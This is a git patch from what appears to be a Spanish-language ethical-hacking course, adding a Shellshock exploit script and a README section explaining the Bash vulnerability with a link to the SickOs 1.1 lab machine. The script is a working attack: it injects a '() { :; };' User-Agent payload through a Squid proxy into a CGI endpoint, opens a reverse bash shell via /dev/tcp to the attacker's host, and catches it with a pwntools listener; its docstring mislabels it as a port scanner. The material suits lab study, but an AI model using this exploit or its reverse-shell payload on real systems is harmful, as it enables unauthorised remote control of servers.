From 2da90bae666c6a2452869df9074891903471f9a7 Mon Sep 17 00:00:00 2001 From: Manuel Vergara Date: Wed, 21 Feb 2024 01:35:35 +0100 Subject: [PATCH] Add shellshock --- .../tema_6_owasp/25_shellshock/shellshock.py | 65 +++++++++++++++++++ .../tema_6_owasp/README7.md | 14 +++- 2 files changed, 76 insertions(+), 3 deletions(-) create mode 100644 Introduccion-hacking-hack4u/tema_6_owasp/25_shellshock/shellshock.py diff --git a/Introduccion-hacking-hack4u/tema_6_owasp/25_shellshock/shellshock.py b/Introduccion-hacking-hack4u/tema_6_owasp/25_shellshock/shellshock.py new file mode 100644 index 0000000..adc945d --- /dev/null +++ b/Introduccion-hacking-hack4u/tema_6_owasp/25_shellshock/shellshock.py @@ -0,0 +1,65 @@ +# /var/bin/env python3 +""" +Script para descubrir puertos abiertos en un servidor web +a través de un proxy Squid. +""" + + +import requests +import signal +import sys +import threading + +from pwn import * +from termcolor import colored + + +def signal_handler(sig, frame): + print(colored('\n\n[!] Saliendo con Ctrl+C!\n', 'red')) + sys.exit(0) + + +# Ctrl+C handler +signal.signal(signal.SIGINT, signal_handler) + +MAIN_URL = "http://127.0.0.1/cgi-bin/status" +squid_proxy = {'http': 'http://192.168.1.150:3128'} +lport = 443 + + +def shellshock_attack(): + + headers = { + "User-Agent": "() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.150/443 0>&1'" + } + + r = requests.get( + MAIN_URL, headers=headers, + proxies=squid_proxy, timeout=1 + ) + + +if __name__ == "__main__": + + try: + + threading.Thread(target=shellshock_attack(), args=()).start() + + except Exception as e: + + log.error(str(e)) + + shell = listen(lport, timeout=20).wait_for_connection() + + if shell.sock is None: + + log.failure(colored( + "\n[!] No se ha podido establecer la conexión\n", "red" + )) + + sys.exit(1) + + else: + + log.success(colored("\n[+] Conexión establecida\n", "green")) + shell.interactive() diff --git a/Introduccion-hacking-hack4u/tema_6_owasp/README7.md b/Introduccion-hacking-hack4u/tema_6_owasp/README7.md index aedfba5..bb4033b 100644 --- a/Introduccion-hacking-hack4u/tema_6_owasp/README7.md +++ b/Introduccion-hacking-hack4u/tema_6_owasp/README7.md @@ -1,6 +1,5 @@ # README7.md - Índice de subtermas: - [README7.md](#README7.md) - [6.25 Ataque ShellShock](#625-ataque-shellshock) @@ -9,10 +8,19 @@ - [6.28 Intercambio de recursos de origen cruzado (CORS)](.#628-intercambio-de-recursos-de-origen-cruzado-cors) - - ## 6.25 Ataque ShellShock +Un ataque Shellshock es un tipo de ataque informático que aprovecha una vulnerabilidad en el intérprete de comandos Bash en sistemas operativos basados en Unix y Linux. Esta vulnerabilidad se descubrió en 2014 y se considera uno de los ataques más grandes y generalizados en la historia de la informática. + +Esta vulnerabilidad en Bash permite a los atacantes ejecutar comandos maliciosos en el sistema afectado, lo que les permite tomar el control del sistema y acceder a información confidencial, modificar archivos, instalar programas maliciosos, etc. + +La vulnerabilidad Shellshock se produce en el intérprete de comandos Bash, que es utilizado por muchos sistemas operativos Unix y Linux para ejecutar scripts de shell. El problema radica en la forma en que Bash maneja las variables de entorno. Los atacantes pueden inyectar código malicioso en estas variables de entorno, las cuales Bash ejecuta sin cuestionar su origen o contenido. + +Los atacantes pueden explotar esta vulnerabilidad a través de diferentes vectores de ataque. Uno de ellos es a través del User-Agent, que es la información que el navegador web envía al servidor web para identificar el tipo de navegador y sistema operativo que se está utilizando. Los atacantes pueden manipular el User-Agent para incluir comandos maliciosos, que el servidor web ejecutará al recibir la solicitud. + +A continuación se proporciona el enlace directo para la descarga de la máquina ‘SickOs 1.1‘. Esta máquina corresponde a la misma que estuvimos enumerando en la clase anterior, solo que en este caso procederemos con la fase de explotación haciendo uso de esta técnica: + +- SickOs 1.1: https://www.vulnhub.com/entry/sickos-11,132/ ## 6.26 Inyecciones XPath